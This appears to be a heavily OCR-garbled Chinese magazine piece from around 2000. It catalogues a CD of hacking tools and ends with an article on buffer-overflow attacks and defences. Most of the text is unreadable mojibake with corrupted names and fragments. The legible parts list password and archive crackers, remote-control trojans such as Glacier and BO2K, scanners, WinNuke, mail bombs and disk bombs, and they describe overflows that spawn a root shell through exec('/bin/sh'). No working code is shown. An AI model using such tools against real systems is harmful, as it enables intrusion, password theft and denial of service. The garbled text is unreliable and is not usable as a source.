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&N ER

BEE T EHLR M ARTE &, Al KA BIRC SRR R i E
MEET , NI ABENAER, EA AR, ARBSCFLU
SMORTE (IERME5) , B FRAEE, FEh TRE SEED T,
XA (RERRREVER CREHLRE)SH KL,

e E AR

CPU : P166 5{ ¥ &

BMERSE: Windows 9X B Windows 2000

WYES: [E4. 0 BR IES. 0 (CEEUWEA)
TREAEN TR
CHEZEEAF : Winzip 8.0 Bate i)t

#5842 : tools \wz8 — beta. exe

Winrar

#5812 : tools \Winrar. exe

HRHEEZREABIN TEARELEN /tools HRT , HEEXR
HIZ LR HE T readme. txt X4,

AHEFRRET ETRZEZHBERGMKENMNEZ 2508
R, HA B TR G BES A SRS LA B & R
R BERM, TMTE Follow Me P/ AL M BTHL, FL & KM —&2¥
5, ERMEEE N TETRERGA, B0 EME RS
KUt BHEF T , E BB M A TOERA .. /soft/more HE T,

BT EENEEH:

1 RO

B2 ER BRI R, A SH TiX 8 TNT #4625, M5 —
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TEG AL

P—Y) B LRRRE, PORFRELIT XK TR

X ¥ #: Breakarj
B BB A BRI XAEEN,
FFH &R : soft \crack \Breakarj. zip

X # : Aaprl07
B B XWR—AFTLAER A FENRE
FFH B4R : soft\crack \Aapr107. zip

X #® %:/E\})nryle
B BB® Email ®—A/NTH.,
B4R : soft \crack \Entryle. zip

X ¥ B:TTREHR Xkey

* Pc friend

% B:XE—XEA BB KB, R B LA ERGE R
WEEMB LRTRRENIAAMF, ERANNMATUSR

Follow me X%} .
FH &R : soft\crack \Xkeyset. zip

X 4 4: Emailcrack

% BA : EmailCrack &—/~3T POP3 Pl i B & F L, B T LA
FIF POP3 Pl FIZHRE , X AT BB F P B R AT B RiARK,
MR P RS X Fh R S E R RS, B

FRSHE B AP ZEB,
I BEER : soft\crack\ Emailcrack. zip

X % #A: Tianxing

o RXITRERS

FFHBEER : soft \crack \tianxing. zip
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X # %&: PASS2DIC

R B:XR—-FGETTTE DOS T KT SUHER A, BT LLRIRA /
etc/passwd 1 # Username (F /&) KB HR— A
Xt v

FI &R : soft \crack \pass2dic. zip

X % #&: Acprll
W BB: Access BSERE
FHBEER : soft\crack \acprl 1. zip

X # 8: werk20

i R:MERERT, BRE SR, BRIEARIANIIE,
H iM% User Ids(FH 42 ) Fl Passwords( 0 4) . B 4b, R
R RERS .

FHEEER: soft\crack \werk20. zip

X # 4: Breakzip
" PR Zip EREEE.
TFIMB&EE : soft \crack \breakzip. zip

X 4 £: Hacker
B B2 BRERG “NERZET 1.0, 55 RERE PASS-
WORD ,

FHB&2 : soft \crack \hacker. zip
X & B:Aep

B —1 TR BAT N8t
FHB&ER : soft\crack \aep. zip
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X # #&: Uncdk
B BOERINEBE LA,
FHBETE : soft \crack \uncdk. zip

X # #: Bigdict
ﬁ HH H &ﬁ?ﬁ‘o
HFHBEEE : soft \crack \bigdict. zip

X ¥ £A: ViewPwd
¥ BA:5+FE—HH PASSWORD WWE LA, BE/)NG, E/EE,
FHREER : soft \crack \viewpwd. zip

X # 4: Sdict
i)i Hﬂ :Wﬁ?ﬁo

F KR : soft\crack \sdict. zip

X % #: Ainpswd
B BRI ER I ain RAEH.
FHREER : soft \crack \ainpswd. zip

X # #&: Wwwhack
ﬁ Hﬂ :_ﬁjm WwWw o
FIEEEE : soft\crack \wwwhack. zip

X : Allwords

o A E-THR
FIME&ER : soft\crack \allwords. zip
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X % A: Ident
m HH H EZ ﬁi o
M EEER : soft\crack \ident. zip

X % 4A: Arjerkl
B B A BEBE.
FFHBETE : soft\crack \arjerk1. zip

X % #A: Ustar
o OB:BMEZIE V2.0,
FERREEE : soft\crack \ustar. zip

X # &: Azpr220
B AR : zip SR
FIBEEE: soft \crack \azpr220. zip

X # #: Cwizard
W BERARSHEN, ERARE, KRR EERER,
TFHBETE : soft \crack \cwizard. zip

X # 4: Bitlok . Blwin204 . B1 97325
B B LA REE AR
I RELR : soft \crack \bitlok31. zip

soft \crack \blwin204. zip

soft \crack \bl_97325. zip

X # #&: Word97cr
B BA: Word97 XM
TFEEEER : soft \crack \word97cr. zip

CREGMER - 5)



BEG BAE

3 {4 #&: Bw20s . Bw2ll | Bw2bl
o A ELRERRRERO IR
FEMB&ER : soft\crack \bw20s. zip

soft \crack \bw211. zip

soft \crack \bw2b1. zip

X % #: Chkexel?7
B B3 exe BiFEEM
FH R : soft\crack \chkexel7. zip

X # £&:Cm.v100 . Cm2beta

% BEERG
&R : soft\crack \cm_v100. zip
soft \crack \cm2beta. zip

X % #&: Cooldb32
W B EREREER
FHEEER : soft\crack \cooldb32. zip

X % #&: Crackain
B RS
FHBEER : soft \crack \crackain. zip

X # #&:Cs103
1513 BA: CrackStop SN #{4 o
FR R : soft\crack \cs103. zip

(6 - zeamuxn.
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X 4 £&: D2t091

o B BRAMER C/PWord 6.0/7.0 B4 % Word U144
By, Txt X

FHREEE : soft\crack \d2t091. zip

X # f4: Es321
% B: EXE XA 5B,
FHRRER : soft\crack \es321. zip

X % 4: Findzip
B BARH ZIP .
FHE&TR : soft \crack \findzip. zip

X # #: Unshell! | Unshellr
W B BCEMEA A SRR
FFH &R : soft\crack \unshell! . zip

soft \crack \unshellr. zip

X % 4: Gtrlal
" BT EKMBR R, BEA B3R, A F 3
R TEHE!

FHBEER : soft \crack \gtrlal. zip
X # #A: Nipass

B B NTHEEBEIR.
M BRER : soft \crack \ntpass. zip
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X # #&:PCYAPR16
ﬁ Hﬂ :ﬁ AR] %F"%o
TEHBE2 : soft \crack \peyaprl6. zip

X ¥ #: Claymore
W OBREHEIRITE, ASEAEN,
FFMBE1Z : soft\crack \claymore. zip

X # A: Pwlview
B BTSIC T ER ISP R X AR T
TFHE&T2 : soft\crack \pwlview. zip

X % - Getexe
B BRSSP R R
TR BER: soft \crack \getexe. zip

X # B:OSHRE
B BREREHGPRERRE,
T BETE : soft\crack \psender. zip

2 RFEEH

FEAR AT 077 AR AT LA R BB T EAL, TSI IR R TR
E, HRATXUERES THE, — RSB .- 4584
RYLUTZEEH LA

X ## #&: Winnuke2
W A ERZEBELE AR, O] LIEX 7K Windows #YER G5
PR
F LR : soft \cortrol \winnuke2. zip
(8 - xmamt-
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X &% 8(? Glacier

W B3R ERTREVMRRETA. KREGHENERO
LRAMEBLRER KRBT ENRLERFER RHE Bis
HHEILRG I ERRE BB R B R GEEX
Pl RREEREZF IR, KLIT BO,

FIEEER: soft \cortrol \glacier. zip

X # #: Nbistat
W B:EFENREMILSRR(EEST S ERRN).
TFHBEEE : soft \cortrol \nbtstat. zip

X #% #:B012

B OB RBHRHEMBO (1.2 80,8 REERMMFEAFERANR, T
LIZ W Follow me FPHFHIEICEE

FHBETR : soft\cortrol \bo12. zip

X ¥ #:B02000
¥ B3: BO FAF, BO MRZHIE.
TFEMEEEE : soft \cortrol \bo2000. zip

X 8Q£gion
B B ARSI AT B, AR R L T S R E A
isiop el

FHEEER : soft \cortrol \legion. éip

X # #: Mailatt
¥ B3 FIF E - Mail B9 SMTP AR 45 28 00k Wk A e i T B
TFE R soft \cortrol \mailatt. zip

CEEAEERE 9)
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X B:UKI 2.2 Wi
W BAERFRANETAD, RETR, &, IREREKX,
TR soft \cortrol \UKTA 22. zip

X % ‘B 3.1
W BAEHE 310 BER EH ER!
TFHBEER : soft \cortrol \wry. zip

X & B84 2.27

B B3:2.27 K 2000.3. 10 5, FITHE IP Hrrc s i T8
i NETBIOS BU%t 77 4% 45 B ThBE , BEE X 5 /8 A% 1P,
AT AR5 A X 7 o

FBRER: soft \cortrol \wryl. zip

X ¥ £: BO2Kchina
B BA:HSCRE BO
FERBESR : soft \cortrol \bo2kchina. zip

X # &Mk

B RAABRFNEEDRARKT # Internet b TRy R B HHIUE
B, AE FEMHERE B R FEINA

ISR : soft \cortrol \spiderce. zip

X % &: YAI
B BA:IhREER S, WL BOX B3, FF5sfT—kek B sieiE
C # WINDOES ({43 SYETEM B, FRFHlE 2517, fik
AR SR—HE,
FHER TR : soft \cortrol \yai. zip
0 - zeamun-
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3 JRiREH

WMRENBRBRILF A WRERGE UM ARFREELZ 2R
B K Windows 9X/NT/2000 S#/ERGA X 2R, TEEA A
WARKAMRK; AT RA T A4 MRRAEN TR, i HHEZLRE
g ibfrfd B L, BREBETERN AR EEWHEE TR, A58
FERETUTRAKMIA:

X 4 &: Mess

B BEXNRRAEHSEEER 97 F CCI IR . 9 FTP IR .
B B XK QPOP TR | 7 Fiis 4 AR 5 Wi K AR 45 48 R A<
B, 9 # IMAP J8iR . 24 # email J&iR . 16 # RPC JRiRFIkE
BENERASS,

M BEEE : soft \scan \mess120. zip

X # & :G“indzip

W BA:7E Internet EERITEALEIEA:, AT AR IS XE B9 1k 70355
ASE®RIE -

FFHBRTR : soft \scan \findzip. zip

X &% %DpaSSZdic
o ERZEBRBEAER, N WINS /98 SEL B
RS : soft\scan \pass2dic. zip

3X # #: Ogre
B BN ERMEAERARISRSEERR,
TEM &SR : soft\scan \ogre. zip
CEEREHR - 11)
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X % A: ucgi200

B B3 CGIMMEHHA 2.00 L, ATLAKM 173 4~ CCI ],
linux . freebsd f irix FiE17,

FH &% : soft\scan \ucgi200. zip

X # 4 : PORTSCAN. ZIP

B B AME5E IP BORE EE TIm O #FTHM (AT AR — 1M EB
AP T AL,

M B&E : soft\scan \portscan. zip

X # &: ANEREALR

W A REER BN, BT EERR! &S LM 1/
AT A —1 B 2,

TFIBRER : soft\scan \fd. exe

X # &:ANEREMR

B Bl: B R -BMAtW s 2 MEg, FBirE BRI
2000. 1. 21 ! TREERETT,REX,

TEMBE42 : soft\scan \fn. exe

3 ¥ £ : NetDefense

R OB RITHOMETDE 30 HERLAR, KEEM ETREZ 3]
MAR, ATRFEAIEBEAL FEILKEFH, 2%4
BiRIRZT BO AR,

TFMREEE : soft\scan \netdefense(free). zip

X ¥ 4: Portscan

W BAOROEHES.

IR : soft \scan \portscan. zip
(12 - zeamixw-
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X # #: WinScan
B B.E—4 C2Mhk WINGATE K TR,
FFM %42 : soft\scan \winscan. zip

X ¥ %: GateScan
¥ BRI WINGATE # IP T,
T ER TR : soft \scan \gatescan3. 0. zip

X % &: TthSp
W R IIRR BRI D AR
TR R : soft\scan \7thsp. zip

X # 4A: Msunke
i  BA:— WIDWOS H¥s O BH288 .
I EETR: soft\scan \msunke. zip

X % £&: Gnit
154 B : X— IR KM, ELESR AP K readme ,
FFIBEER : soft \scan \gnit. zip

N

BB ANLERS , EREBRE , RERITITRE M, B
BRI HHEARR RS ; MMERREAR ERESEXE, £¥

AR T M BB T A
% # £ Nookme

W B — R ZhRE R R AR A R AT REE I 4 E BN O

W BRI B B L BT BB 1L
FFEHEETE : soft \monitor \lookme. zip
cEKEBBHR -
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X # #&: WHOIS
o ORATEEARNS WA MELATR, & CRER,
FHERER: soft\scan \whois. zip

X % 4: Ipquery
B E—RAACH P RAKE R TR,
FEH &SR : soft\scan \ipqry16. zip

X ¥ &:Ip-lis
m HH H P %ﬁlﬁo
BB : soft\scan\ip - lis. zip

X # f: cpfOx205b
W B RPURET KR, ATRAREAX D IP, E47F Windx To
FI &R soft \scan \cpf9x205b. zip

X ¥ #&: Conseal
W B RYURBT IR BB IRA 1217 T Windx To
FEMRR2 : soft\scan \conseal. zip

X # : Wingeno
B BLAEREVR P REREAM,
FFI &R« soft\scan \wingeno. zip

X % 4: Portscan

B BmOEES, RR
FMREER : soft\scan \portscan12. zip

(14 - zramwsr-
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X # #: Portlisten
W RO TR, TR SR O, RSB T AT LA = o
fFH &L : soft \scan \portlisten. zip

X % %:IP Hunter

W B AFTEREERNIBIX T EME IP k! XA REXE
B!

TEMB&1Z : soft\scan \iphunter. exe

X 4 #: Wingatescan
] BB: $3% wingate IR & {F, WTLAA wingate MO8k AR #E1T

telnet
IR : soft \scan \wingatescan. zip

X % 4: Wingatescan2. 2
ﬁ HH H Iﬁ_to
M ERER : soft \scan \wgatescan — 2 2. zip

X # #%&:Trojan
B RARREFEENTAEIREEMAL, J&T%Eﬂﬁ‘tﬁo
FH 2% 12 : soft \scan \trojan. zip

X % #&:FREEIP

% BRE P RARRER,
FH &R soft \scan \freeip. zip

CREaMER - 15)
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X ¥ £ : Sharefinder
174 BA: Share finder B— MR REEHAERMIIME LK

HERFENTH,
TR BEER : soft \scan \sharefinder. zip

X # £9b1868full
B OB — I BRILA REMEEARKRKNED (port) ,HATA X
_'/l\l:lg%o

FEHBER : soft\scan \bI868full. zip

X ¥ 4 Netxray

B BABORTE NT/9x EM— A IIRRIR KA AT AP 4 s T
B lEL M B, E R R A B R R B AL, X
ABRAFAT A EALE BB R AT 2R R . AT
BEMHLEB oicq FRHEW ip , AEFLZHLERERKN
k! :

FFH &R : soft\scan \netxray. zip

X #ZQonalmZO

W BA: ZoneAlarm B—/NHEMZLLHBEFMP ki, B
KA SWERKITEN L SEREEE, I ERRA 2
Fr o] AT AR AR B, 45 T B2 5 AR &%k
B DA K R A i 0 R R ) 3 X ) A b B K BB BB ST . AT LAz
fT7E Windows2000 L, FT#IR R B R s 0 i 5 i A 2,
FEHh 1P Hhk, AR BMMHERF, AEFEFER! LHE
A FERRBFI MK Internet 32,

TFH BT : soft\scan \zonalm20. exe

(16 - zmamitr-
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X ¥ #&: Winspoof
B OB —REIP AR,
T BEEE : soft\scan \winspoof97. zip

X # #: Geoboy

B B BERERMA ) TREEMER I H Bon B R ME 8
ik, AR E B E, EFBH .

HFIRESR : soft\scan \geoboy. exe

X % 4 : Dspconsl
Bt B:F netxray NBEEA BRI, HEHFBL, REKRT Ko
TEIB& R : soft\scan \dspconsl. exe

X # #&: ATGUARD

i B : —/ win9x T B8 firewall , £ EE R R LIMEFEFRHK
firewall 8k, IREARWEELERINERE, BEMN
BAAR; AL AEYE R T R RS A8 BUE cookie Bk
s BARLRY, W% BN A BB i,

M B&TR : soft\scan \atguard. exe

X % £: Bospy

B BB : 7T AR 1 i Back Orifice 3€ Hack #REG A BI¥ERE, DA fE
Hack fR, TiX B WA LBEEHAR, ANTiTF—T AR
WA (PBBUR)

FHB&2 : soft\scan \bospy. zip

X & 4: netlab
B OB -BNERTALSRAEREHFLER, XM TRLE/NT,
PBERERNSOATUA—T,
MR : soft\scan \netlab. zip
CREARER - 17)
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5 HeTHR

BT LA EXILE, YREAHERESRERELR! UTHE—
SHRK/PNIA:

X ¥ 2: uydbeta2
% AR : B T HR 4 FE 3 (upyours 4. 2 FiRAR) o
FHEELR : soft \other \uy4beta2. zip

X 1 % : Unabomb
B BB THRMER,
TEMB&1R : soft \other \unabomb. exe

X % £: kaboom3
¥t B3:1R COOL &y EMAILBOMB ,
FHE& 12 : soft\other \kmodem. zip

X % %&: Cyber

B ORRFN-TEFAENMNETARG, WHAEBMRETLR
ML ERKEBRT! YRAMYRERTES
7! '

&SR« soft\other \cyber. zip

X 4% 4: QuickFyre
W B TRERA T ERAERE TR, SR T A R SR AR R JT O HRAE
FIEERR : soft\other \qf. zip

(18 - zeamixw -
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X % #&: WinNuke2
B B:BALR @A P E#TEGE,
FHE&TR: soft \other \winnuke2. zip

X # #: Mailbomb
B OB ERERTA,
T B : soft \other \mailbomb. zip

X # %: ROCKET

B R EEENERARETUMEEEEREMS EKSMER Modem
B Rad, % FHE Modem RULARELE Bl HER A
RAREM. (BPENR)

FHEEER : soft \other \kmodem. zip

X % #: winnuke
% BEEREBEIGEEM, #X ) WINGS /98 SE4 Hilt .
FHERTR : soft\other\. winnuk2. zip

X % 4&:HD Fill
B OB:SHRAEE, AR, HaTemst, AftAMITECA
e,

FFHRE4R : soft \other \hdfill. zip
X % f: Iegkille

B B:ICQ HikER.

T ERTE : soft \other \icqkille. zip

CREANER - 19)
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X ¥ #: setupac b2

B OB REBREAR LMK EE S, R 1P bk, By R A
B AR, By LR B BRI S 555,

TEMB&1Z : soft\other\. setupac_b2. zip

X % %: wingeno. zip
i BA : 4 from: B to: FIERFERL (IAFR K BIRAEDL) o
TR : soft\other\. wingeno. zip

X % A:shut
o OBREXRNLTR,
FFH B4R : soft \other\. shut. zip

X # 4A: sc32b205

5 A : FHARER5 8] internet AR, ZHTF 169 RS WA P, BFE
hack TH FBEXH THKMER, Hink B 2 bR 5 M R
HLERBFTUBRR MG AN IP, AT X4 a2 EERIRET
FRER IP, BRAR NIRRT

TEMBE1R : soft\other\. sc32b205. exe

X #% #A: diskbomb. zip

W OB:RERERMBEER EEFRABEEA RERA
KV300 28 1EH#! B —K! B readme F{E !

TEMBESR : soft \other \. diskbomb. zip

(20 - zmamtts-
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6 BRIEE ( Follow Me )

WRGE “DERE”, EAXEFFRIE! XERMT 5L
FA B TR AR U R —2edE B R BAR PR, a5
Prigss, E2H

X # & KL25H80EEPARKSERF BO2K M HIER.
%42 : html\bo2k. htm

X & & MERERTF
FH %42 : himl \wck. htm

Web Cracker2. 0
X ¥ 4 : EmailCrack fifi F1¥/#
&2 : himl \ec. htm

X % Z:MERENER
FHEER: him \WZEH|Z . him

X & A:EAERTA QuickFyre
FB&4E : html\qf. htm
X # #2:BATER1 WinNuke2

TFE M %42 : html \wn. htm

X 4% Z2:BATH?2 Pnuke

FH &% : html \pn. htm

X % &: WK AH— ROCKET
FH %42 : html\bo2k. htm
CREARER - 21)
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X # B FREWETRE 11— BHR Xkey
M B&2 : html \xkey. htm

X % Z:FHREETR?2 Passdict

FRE: html \passdict. htm

X % & WTRBARHE—TKS
FHBR%E « soft\resource\cchl. htm

X 4 83K passwd BRI R
IR - soft \resource \cch2. htm

X # B ATIREL root M
TFIBEER - soft \resource \cch3. htm

X 4 &R e S
FFIBEER - soft \resource \cch4. htm

X # B EHRRFEEN LR
TFHBR 2 « soft \resource \cch5. htm

X 4 Bk R Soft - ICE BB E (RIEA, LK% R —1
1)
FHBRER : soft\resource \fix_sice. zip

X ¥ 4&: Soft - ICE i FHI¥##
TR BEER : soft\resource\s — ice. htm

X # % : NetSpy fEFHULHA
T B& 42 : soft \resource \ns. htm
(22 - zeamtm-
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X # &:TSREFH “RE", “KE"BARKMA
TEHB%42 : soft \resource \tsr. htm

X & f:yhq BEEELEF
F LR : soft \resource \yhq. htm

X % &:WERESE RIIEE(—)— V)
TEMB& 1R« soft\resource \hcl. htm -+ hc8. htm

X BB EEESHE
TEH B2« soft \resource \other\

REEARUERYIE:

EE,AMNXEMBABYEEXS , B TRHESR, EHH E K
MEARFARAG LA ZAAGLEH AT EF I\ FAREE,
FFXE . soft/more/ , K% K ST REFHERELIE
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o =®

5 &

1999 £ R “HURF L7, 2000 £ R B FH S E, X R
HEMNAX, BRTUERM O 2 EElE, A ERMAE
MR T EZH RS LR AR R RA KR R, i
THRMEZ2KMEHE, LSRR EEAE,

EXRTHEMEZ2KNEES, RE—ERER—IEA AR
MSeREE—T B2 FE/FERERE, RIFESRE LB EHHIE.

BHiE: 200042 57 H

HY4. X2 K58 YAHOO | BEEIH

Zit. 442 H7HLEF 108K H, Yahoo HEIBEH T, B
IR % 28 FEBGE = AN /DEE) KR EREANKE 1 {22 AR RN
R LT R SR IR S5 A 2 ER R

BFiEl: 2000 &£ 2 B 8 H
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BMEMfH#— & PentiumPC % #F|— & DEC /MUY Silicon Graph
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Pc friend -
U, EEEM BRI .

IR BN T AR , R E S % ARl A 1 R W A
fth T BT IR T B SRR BIEERF S o '

FEN—RR, BAEMFTERE—-IMHFE-RZEZR—NA
AEBENRGEEHERBTARE , XREBNF L, EREIEERRB T
o B A BT A 2 BB B BR Z 5T, AR W] BEZE L B3 B R BT
TR R R RERGENEMES , XERATHEK ., EXE
P LEREEERN, HOBELEEAN . MERRZ EREM—
MR IR IC HEBOR

X RN EE — S TLIERB Kevin Mitnik(ARH ) XF AR
AR Weitse Venema(BE)XFA, AL FEAX T, MiTRIHTE
PELGBHMEL AL (EFEEFERT , EETTd). R
AR (BRI EX 8 FRENTHE 2 KR B8 A
ZAMBREPHI, B A EXE R — A ERGFEAEHREE
B 5 5 [AlRE, SATAN 005 47 B — 1R 3B A\ R & BGE2 B AR
R,

ERREH AR SEE, A TR HEZNEERF
R, KUK, TEANZL2RERTIWRERM, Bk Kb {Ei#
TAMVAGITREM Z 2R EWEE S . BAXBESE T BN —
AP IR , B R INFARR — (L9 s , AR R E R I AT
By, — SRR A R R B, FE L E X TCP/IP
PR RGEETH EMAIRE EREZN T .

2.3 &

Zrh X i M RTFER AR, X2 ER TR JEE AR
IR, B EBRERE ARG P ZRE, LR E RE
R 2RFR RN E WA —Fh e , B 3T 52 v X % R 8 B0
T TERMELENERSE, A EITHIRELFBEHABX R
LRGP PSR TR, B R—-ERELR B RAEE
CRERBHR - 27)




ZEGABE .
» Pc friend

BB, T 185 4 8 o X 3 e 7 T ) SR S T SRR
2.3. 1 Serhiid tH M 5 1508

Zrpii IR R—MARBGEN FB, @ ABFHENXE#
HERKER P, ERE P X A%, ATTBIR R T AR, (R P %
MPFTHERES, RXBIBGEN BE . I\, B R b X5 i i#eT
HIB T o BT RETUE B 80 % DA ko 1R mh X % iR SR R R
BFPRAFARER P BANSE

M b THT B 8 v X 3 HH S SO AT LA B, R P X 3 i s R —
SRR KENFHBEAR MR KLR , T — N BR2 E 8%
KPBAGKEOFRBABIHERIMER, — BRI RO FHBEE
TR, SRR BT R, BN SBRGERR; 5 —
FiE R A X R R AT AT ERE S, £ 2T URE R AR,
TSR T FSFEE T .

2.3.2 Bhpiihi ik

Zrp X BEZ BTARAY —FE R R W& FB, KEEET
ZopXuHRE RS E T, HES TEHM, XMBEAFER - E
ZH) Internet A P A YLERB—E EVHRSRETHEHATE,
ZHXBHERAEBIGENEEFREREFERETE WX G HRRES
FTRHEMIIBEN— A BBITH GRS, BEARNIE
RIGLA— & WALBRIZ1TA 2% vb X 3 HH TR BB T , 18 B 88t &
GINEST

£ 1998 4F Lincoln 356 2 FISR MG AR K 5 R BE+,
A3MBRETHSTIEEWEEXRR, 2HEZWXEH, M7 1998
£ CERT W 13 @&, F I MRSEPXEHA XM, 7E 1999 4,
FEOEXBNBURME X HE XM, 7 Bugtaq WIEEP,H
2/3 WBRAEE A RNE o X HiRR R — MR ERMEZ 2R,
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Pc friend -

2.3. 3 Znpz N IR R gk

2 v X %6 B 0 B ZE FIELEA R RLE T MR
BB, X RERT AR B BUR B R RS, R B EA BN
BRIBABAEVRMBER T . — M E, LHEHE W oot BF, R
PATEBL “ exec(sh) " HIFTRIEHR KT root B shell , (HIEARBREX
BERY, 0 TRBIXAN B, i & LSBT B4 B x:

& 7EFR B0 ik 2 1) B 22 HESE A0S

O E I E Y R A RS AR RS LR Bk B R HELT i b
HEZS B BT

WATRYEX B B br e X 28 o X s BGHE #1726

— EEFNtE S E B R HHE LR B &

A PR FEB AR Y Huhk 25 18] B 2 HEBGH ARG B 7 s

1 AR

BHE MR THHRFRA—FRR, BFSEX N FR B
BIEMXE, XNFR RS R AT XA B B R
B LEBEfTHESFS . X BT E SR HEFNE X RER
B, BT RAE U TRAZES .

(1D)BEEEAL REB B TG BAEMEp X, /T LHRE R

B ER B E R EHE A,

(2)Zop X AT AR TEAR M s AR (B 3 ') S (FIES A EH)
MEBSEHEEX WHEE R R ETE)

2 FIHE SRR

AR, EEHRENRABE R
EHBEMBERFS T, B E M . loustem exor)
B REX GRS ARG
BB HRIMN AR, L, ud N
RIBERPIT “ exec( ‘/bin/sh’)”, S

!

CREARHR - 29)




2EGEBE Pe friond
- Pc frie

i #E libe FEFEIRBPAT “ exec(arg)”, HH arg B— MBI FRF B
RS PBARTE RELEANSEI R EIER “/bin/sh” ,
SR )5 JA%E B libe FEHBIHE N B9FE S R HBI W]

T EHEFESINERBNAE

FRA B X e B R 7 F R R AT IR, Z Bk Bl
HRB, BEAWRRRE T RAEAFACESEHMH SR
X, XHERRIL TEFHERWIRTIIF, Bdml— 1 ZWX, K
HETUAEFR AT EASHSWEFEETNEERS REWN
B,

XEBESRHERERIEETFROZE WX b5 HORFSRER,
JE AT LA B RS 18] LA, BB A9 Morris Worm (BE/R #8505
RFEAT fingerd BIFHE M X %, PREL fingerd EPATHI LK B
FEbr bk, AR XA RAR NN AR FREERFIEE
o X AFR BV (5] B4 b 7 gk 2 78 1 25 8] %) R i R0 P9 A 25 (8] 9 8 or
AR, — ok, ERBFHBRIBE RN LA U T U

1 . ##ELF (Activation Records ):

BY - RPFAHREN, AHAESERERFET -IHEL
¥, EEETREERERE /ML, Bk & E T8 X s A 3 A
B, 53X R E bk 48 1m BOE AR, 8 SO R T YR B AL, X4 R
VARG R, B F BBk B ook & e W stk i A 2RSSR b ht
XRME h XA HGFRA © stack smashing attack™ , 2 HRTH FAME
X i B R

2 . % %34+ ( Function Pointers ) :

“void (* foo) ()” FHEAT —AMREHERN void REFRETHWEE
foo o BREFE 4t VT LA R >k & AT AeT ik 25 18], B DA B & RR 7R AR ]
75 [6) PN I SR TS £ BRI IR B — 1 RE S i Y M B0 X, SR )5 8 X N
IR U SR B 5 TR — B 22, X478 ol o R B4 £ A i R B,
BRFEURBREREENEERZAT! EMN—1THHEARREE

(30  mmamuw-




B35 . iRELE
Pc friend -
Linux &%t T superprobe 1%,

3. k% + R ( Longjmp buffers ):

ECESFRIT IHENKRRE/KERL, RN setjimp/
longimp , ERRERKRK H&E “ setjmp(buffer) ", “ longjmp
(buffer) "RIKE KB R AT, RB T EH REBEHEAZ X K2,
HR4 “ longjmp(buffer) "3EBs L RBKE BIBGHEE HRE ., REKIEEH
—*¥, longjmp S0 X GBI I AET 37 , BT LA 38 PR At R 4R
Bt MR WX, — N RBEEFRE Perl 5.003 ,BiEHE
B AR E SR o X % B longjmp ZEW X, RGHEFHEAKRE
B, XHE R Perl R BRSRBHEDIBGERB LT

Z.ZARBENNRREHEAR

BEAME LHEmRE B HERARREE - FRBRES
TREMAMBELTR. WHEEM— TS ENASIZR, R
R — MR KK FR S, 7E5] R 5 oh X 4 H 3 BTS2 %R
RHAEA TR, XA Levy 8 M BGRAER ., BN CEIBRE
SO P S EFFRER/MZE X, B X i i 2 i SE AR 7 2D
/8

RBEAME X H AR —EBEE—KIMERNTER. BdHAT
UE—NE X A BRD, XEAERE SRR, K5, 5HEE
T8 B~ R REBRF RIS . X E—BRARBR
AR B R AR CREER T 23H1R) K5 .

MRBGHEEREEHE 2% EHRBEMARNIMNBEARE, b
B LAIRARBIERISE ., 2K, ZE libe ULFHTAR CEF
HEERERE)PHTIRBBELSUIT “ exec(something) ”, H
somthing SRS, B & #FAZ X i H R EBRFHSE, R F
AR —A X 4 R P R4S R Libe B4R ERRBE,

CEEABRHR - 31)



EEB AL

+ Pc friend

2.3. 4 Zop X I RIBRG i Tk

H A R ) 7 R R o
X 532 5% v X 34 i A B0l A2 W

— REERBHNRSE

ﬁgmmmﬁm%—ﬁwﬁﬁﬁ;
SBRERT I TR B HE CIES
HRFpEA ARG B EMER (0. ? R
FENFRLER), XS RE FEKREEMARERAENEETIE
B, REAETRKABEFEEBAMNMET MR ELLEMBFHE
HEARANBRFKRIBER, HEAMIFET —STEMBEARRE
MZBARWBFRARNELEIERHNERF,

B A R grep R RIVERBLH B S AR K ER
W, tean Xt strepy F sprintf VA A, XA BB EBEE R EMAS
BHMKE, BLLE, SMA C bR HEEA XHEM BT

KT IFHR—EHELAENE P X G NBEREE R FMER
T, — sk MK E TREZMAB  AMKAA RN ZAGFE,
RAERAT stmepy F snprintf iX 2585 06 HOR B 1E 28 b X %5 H #) &
A HRHTFHERBMEE, IHSEXMEREE, 0 lpm 72
FRERTFHE T, BREES TRBMEZLKEE, BNRAERHKX
¥ ) [B] RRAFTE o

KT AT XS, AfIFET —EERNES THE, 0 fault
injection %, X4 T B H M 7E Tt A W BEVLL = 4 — S E b X
% R FHRABWEL2RTR, &8 —S8H500 TEH T 0%k
X %3 B B FFETE .

BARAXETHWUFPRFAFRELENER BRHETF CIE
BHRS XETHEATRBREITANE X H R BrLL, i
AR R BE AR AR oh X %5 1 B AT BE, A BESE 2 HLIEBR B MAFTE,
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F—H5 R EE
Pc friend -

FRIERRFF R EERIEMIRF I E—%,
VI EHTRERR

T 3 (5 A T AR Y B B B k2 B R BT RAT , T A5 et o
AT REBAT B A B B R P 0 A 8 v X RS , X Rl B R R Rk
PATHR WX AR, FEL L, BEER Unix REER XA, H
R A Unix 1 MS Windows R 45 R SLBLE 47 A HERERI TN BE , (R 7E
HHEBE B HBA R RITHRE, LA TRISEBFHREER
A REMH IR BT A 2 F BB BEA AT PUAT . (HRIRAT AT LA E HEAR B
BT AT , iXRERE AT DA K R b AR IE T AP A3 A . Linux AN
Solaris # & T HRXFEMABAAT . BRIJLFEEEMAEEN
TP STEHEAR P RUACHS , XA JL R R 7 A AT (] 3R A [ B, B
T7E Linux # I BANFE , 53X B AT 34T AR TS 0 Z0 Bk A AR P

1. [E551&&

Linux i i [0 i AR AR B AS R V5 5| & Wi sk BT ZE HEAR 1)
KRG LI EHREE Unix 55 EPTEBXMATHELERG
S B R ARV E X AT AT

2. GCC WAL EH

HREH gec FEHRR BEHE T I HATHRBUEELEA,
SR, KX A DIREFH A=A ATl () f, R 34 ShRELL S AR REME A .

AT HE AR BRI BT LA O AHERBEEA B SRR E v
X Bk, oo F A R oot WA s R @ 5 H— 158
HIFR P 45 51, BR AT LABk o 33X b AR 375 e o JECAth 9 5 1T AR A HEAR
R A SCE Fr S BE B ok Bk R 17

ZHABRKE

ARG SR X A R — 05, AL T AT WA 2 5
—A . MRIEPITEMERY  FAHDRREREEA TEHKX
WA G . XA, RERE R REBOER Y, i B AR
Wil N T EIBAAFRE, MPTH KB AL BAEER R 8

BEUBRNEHNREEERNEEN. REENTERGER
CEREREER - 33)



XEGEHE
* Pc friend

AHBARE, BREERA—-SRAHBEARRESRERIK
¥, HWALUTRILHRESE:

1. Compaq C %#* &

Compaq A F]JF Alpha CPU JFRH) C Giidas XA RMERAF B
